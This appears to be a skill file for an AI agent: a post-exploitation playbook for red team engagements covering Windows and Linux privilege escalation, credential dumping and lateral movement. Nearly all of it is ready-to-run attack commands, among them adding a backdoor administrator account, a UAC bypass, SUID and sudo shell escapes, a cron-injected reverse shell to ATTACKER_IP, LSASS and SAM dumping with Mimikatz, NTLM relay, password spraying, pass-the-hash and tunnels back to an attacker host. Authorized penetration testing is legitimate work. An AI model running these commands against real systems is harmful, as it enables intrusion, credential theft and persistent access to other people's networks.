Post Exploit

---
name: post-exploit
description: Post-exploitation — privilege escalation (Windows Potato/UAC/SUID/sudo), credential access (LSASS/SAM/Responder/spray), and lateral movement (Pass-the-Hash/WMI/tunneling). Applies after initial foothold for VAPT/red team engagements.
---

# Post-Exploitation

After initial foothold, the goal is: escalate → extract credentials → move laterally → reach crown jewels.

```
Initial Access
    └─► Privilege Escalation ─► Credential Access ─► Lateral Movement
                                      │
                                      └─► (repeat on new host)
```

**Scope note:** Post-exploitation techniques are for authorized VAPT/red team engagements only, not bug bounty programs.

---

## 1. Privilege Escalation — Windows

### Token Impersonation (Potato Family)

```powershell
# GodPotato — widest OS support (Win 8-11, Server 2012-2022)
# Requires: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
GodPotato.exe -cmd "whoami"
GodPotato.exe -cmd "net user backdoor P@ssw0rd /add && net localgroup administrators backdoor /add"

# PrintSpoofer — Win 10, Server 2016-2019
PrintSpoofer.exe -i -c cmd

# Check privileges before choosing
whoami /priv
# Look for: SeImpersonatePrivilege — present in IIS AppPool, SQL Server, Network Service
```

| Tool | OS Range | Prerequisite |
|------|----------|-------------|
| GodPotato | Win 8-11, 2012-2022 | SeImpersonatePrivilege |
| PrintSpoofer | Win 10, 2016-2019 | SeImpersonatePrivilege + Spooler running |
| SigmaPotato | Extended | SeImpersonatePrivilege |

### UAC Bypass

```powershell
# fodhelper.exe bypass (works when ConsentPromptBehaviorAdmin != 2)
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\Windows\Temp\payload.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f
fodhelper.exe
reg delete HKCU\Software\Classes\ms-settings /f   # cleanup

# Check UAC level first
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
# ConsentPromptBehaviorAdmin = 5  →  bypassable
# ConsentPromptBehaviorAdmin = 2  →  NOT bypassable (highest security)
```

### Service Abuse

```powershell
# Find unquoted service paths
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """"

# Check service permissions
accesschk.exe /accepteula -uwcqv "USERNAME" *

# If SERVICE_CHANGE_CONFIG granted:
sc config SERVICE_NAME binpath= "C:\Windows\Temp\payload.exe"
sc stop SERVICE_NAME && sc start SERVICE_NAME
```

### Automated Enumeration

```powershell
# winPEAS — full enumeration
winPEASx64.exe | tee C:\Windows\Temp\winpeas.txt
winPEASx64.exe servicesinfo windowscreds     # focused

# SharpUp
SharpUp.exe audit
```

---

## 2. Privilege Escalation — Linux

### SUID/Capabilities

```bash
# Find SUID binaries — cross-reference with GTFOBins
find / -perm -4000 -type f 2>/dev/null | tee suid.txt

# Common escalations:
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'   # SUID python3
/usr/bin/find / -name x -exec /bin/sh -p \; -quit                        # SUID find

# Capabilities
getcap -r / 2>/dev/null
# cap_setuid+ep → os.setuid(0) then os.system("/bin/bash")
```

### Sudo Misconfigurations

```bash
sudo -l

# Common exploitable entries:
sudo vim -c ':!sh'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo find / -name x -exec /bin/sh \; -quit
sudo env /bin/sh
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

### Cron Jobs

```bash
# Find cron scripts
cat /etc/crontab && ls -la /etc/cron.d/ && ls -la /etc/cron.*

# Writable script → inject shell
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/scripts/backup.sh

# pspy — monitor cron without root
./pspy64 | tee pspy.txt
```

### Automated Enumeration

```bash
./linpeas.sh -a 2>&1 | tee linpeas.txt
./linux-exploit-suggester.sh | tee kernel_vulns.txt
```

---

## 3. Credential Access

### LSASS Dump — Windows

```powershell
# comsvcs.dll (no tool upload — living off the land)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full

# Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > mimikatz.txt
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"   # Kerberos tickets

# SAM/SYSTEM hive (no LSASS access needed)
reg save HKLM\SAM C:\Windows\Temp\SAM
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY
# → parse offline: secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL
```

### Remote Credential Extraction

```bash
# secretsdump.py — all secrets from remote host
secretsdump.py 'DOMAIN/USER:PASS@TARGET' -outputfile secretsdump_TARGET

# NTDS.dit from DC (requires Domain Admin)
secretsdump.py 'DOMAIN/USER:PASS@DC_IP' -just-dc -outputfile dc_hashes
```

### Network Credential Capture

```bash
# Responder — LLMNR/NBT-NS poisoning (VAPT internal networks)
responder -I eth0 -dwPv 2>&1 | tee responder.log

# ntlmrelayx — relay captured hashes
ntlmrelayx.py -t smb://TARGET -smb2support
```

### Password Spraying

```bash
# NetExec (formerly CrackMapExec)
nxc smb TARGET -u users.txt -p 'Spring2026!' --continue-on-success | tee spray.log
nxc smb SUBNET/24 -u 'admin' -p passwords.txt | grep '+' | tee spray_results.log

# Kerbrute — Kerberos-based (no lockout with wrong preauth)
kerbrute passwordspray -d DOMAIN --dc DC_IP users.txt 'Spring2026!'
```

### Hash Cracking

```bash
# NTLM hashes
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# NetNTLMv2 (Responder captures)
hashcat -m 5600 netntlmv2.txt /usr/share/wordlists/rockyou.txt

# Linux shadow (/etc/shadow → unshadow first)
unshadow /etc/passwd /etc/shadow > unshadowed.txt
hashcat -m 1800 unshadowed.txt rockyou.txt   # sha512crypt
```

---

## 4. Lateral Movement

### Pass-the-Hash (Windows)

```bash
# Verify local admin reuse across subnet
nxc smb SUBNET/24 -u 'USER' -H 'NTLM_HASH' | grep '+' | tee pth_results.log

# Execute command via WMI (fewer artifacts than psexec)
wmiexec.py 'DOMAIN/USER@TARGET' -hashes :NTLM_HASH

# PsExec via hash — returns SYSTEM
psexec.py 'DOMAIN/USER@TARGET' -hashes :NTLM_HASH

# WinRM via hash — PowerShell remoting
evil-winrm -i TARGET -u 'USER' -H 'NTLM_HASH'
```

### Pass-the-Ticket (Kerberos)

```bash
# Extract TGT/TGS from memory
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

# Import ticket for lateral movement
mimikatz.exe "kerberos::ptt ticket.kirbi" "misc::cmd" "exit"

# Rubeus — more modern
Rubeus.exe dump /service:krbtgt /nowrap
Rubeus.exe ptt /ticket:BASE64_TICKET
```

### Network Tunneling / Pivoting

```bash
# Ligolo-ng — transparent proxy (recommended)
# On attacker:
./proxy -selfcert -laddr 0.0.0.0:11601
# On pivot host:
./agent -connect ATTACKER_IP:11601 -ignore-cert
# Then add route: ip route add 10.10.10.0/24 dev ligolo

# Chisel — TCP/UDP tunneling
# On attacker:
chisel server -p 8080 --reverse
# On pivot host:
chisel client ATTACKER_IP:8080 R:1080:socks

# SSH local port forward
ssh -L 5432:INTERNAL_DB:5432 USER@JUMP_HOST -N
```

---

## MITRE ATT&CK Quick Reference

| Technique | ID | Tool |
|-----------|-----|------|
| Token Impersonation | T1134.001 | GodPotato, PrintSpoofer |
| UAC Bypass | T1548.002 | fodhelper, eventvwr |
| Service Abuse | T1574.001 | sc.exe, accesschk |
| SUID Exploitation | T1548.001 | GTFOBins |
| LSASS Dump | T1003.001 | Mimikatz, comsvcs.dll |
| SAM Hive | T1003.002 | reg save, secretsdump.py |
| Responder Poisoning | T1557.001 | Responder |
| Password Spraying | T1110.003 | NetExec, kerbrute |
| Pass-the-Hash | T1550.002 | NetExec, Impacket |
| Pass-the-Ticket | T1550.003 | Rubeus, Mimikatz |
| Protocol Tunneling | T1572 | Ligolo-ng, Chisel |